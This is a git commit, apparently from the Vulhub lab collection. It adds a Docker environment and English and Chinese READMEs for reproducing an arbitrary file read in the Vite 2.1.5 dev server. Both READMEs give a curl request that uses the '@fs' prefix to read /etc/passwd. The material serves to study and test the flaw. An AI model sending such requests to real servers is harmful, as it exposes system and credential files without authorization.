first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
vite/CNVD-2022-44615/1.png
Normal file
BIN
vite/CNVD-2022-44615/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 206 KiB |
33
vite/CNVD-2022-44615/README.md
Normal file
33
vite/CNVD-2022-44615/README.md
Normal file
@@ -0,0 +1,33 @@
|
||||
# Vite Development Server Arbitrary File Read (CNVD-2022-44615)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Vite is a modern frontend build tool that provides a faster and leaner development experience for modern web projects. It consists of two major parts: a dev server with Hot Module Replacement (HMR) capability, and a build command that bundles your code with Rollup.
|
||||
|
||||
In versions of Vite before 2.3.0, arbitrary files on the filesystem can be read using the `@fs` prefix.
|
||||
|
||||
References:
|
||||
|
||||
- <https://github.com/vitejs/vite/issues/2820>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start a Vite 2.1.5 development server:
|
||||
|
||||
```bash
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server starts, you can access the Vite development environment at `http://your-ip:3000`.
|
||||
|
||||
> Note: The development server of the old version of Vite defaults to port 3000, while the new version defaults to port 5173, please pay attention to the difference.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
You can read arbitrary files on the filesystem by using the standard `@fs` prefix:
|
||||
|
||||
```bash
|
||||
curl "http://your-ip:3000/@fs/etc/passwd"
|
||||
```
|
||||
|
||||

|
31
vite/CNVD-2022-44615/README.zh-cn.md
Normal file
31
vite/CNVD-2022-44615/README.zh-cn.md
Normal file
@@ -0,0 +1,31 @@
|
||||
# Vite开发服务器任意文件读取漏洞(CNVD-2022-44615)
|
||||
|
||||
Vite是一个现代前端构建工具,为Web项目提供更快、更精简的开发体验。它主要由两部分组成:具有热模块替换(HMR)功能的开发服务器,以及使用Rollup打包代码的构建命令。
|
||||
|
||||
在Vite 2.3.0 版本之前,可以通过 `@fs` 前缀读取文件系统上的任意文件。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://github.com/vitejs/vite/issues/2820>
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行以下命令启动Vite 2.1.5开发服务器:
|
||||
|
||||
```bash
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务器启动后,可以通过访问`http://your-ip:3000`来访问 Vite 开发服务器。
|
||||
|
||||
> 注意:旧版本Vite的开发服务器默认端口为3000,新版本默认端口为5173,请注意区分。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
使用标准的`@fs`前缀访问`/etc/passwd`,可以获取文件内容:
|
||||
|
||||
```bash
|
||||
curl "http://your-ip:3000/@fs/etc/passwd"
|
||||
```
|
||||
|
||||

|
5
vite/CNVD-2022-44615/docker-compose.yml
Normal file
5
vite/CNVD-2022-44615/docker-compose.yml
Normal file
@@ -0,0 +1,5 @@
|
||||
services:
|
||||
web:
|
||||
image: vulhub/vite:2.1.5
|
||||
ports:
|
||||
- "3000:3000"
|
Reference in New Issue
Block a user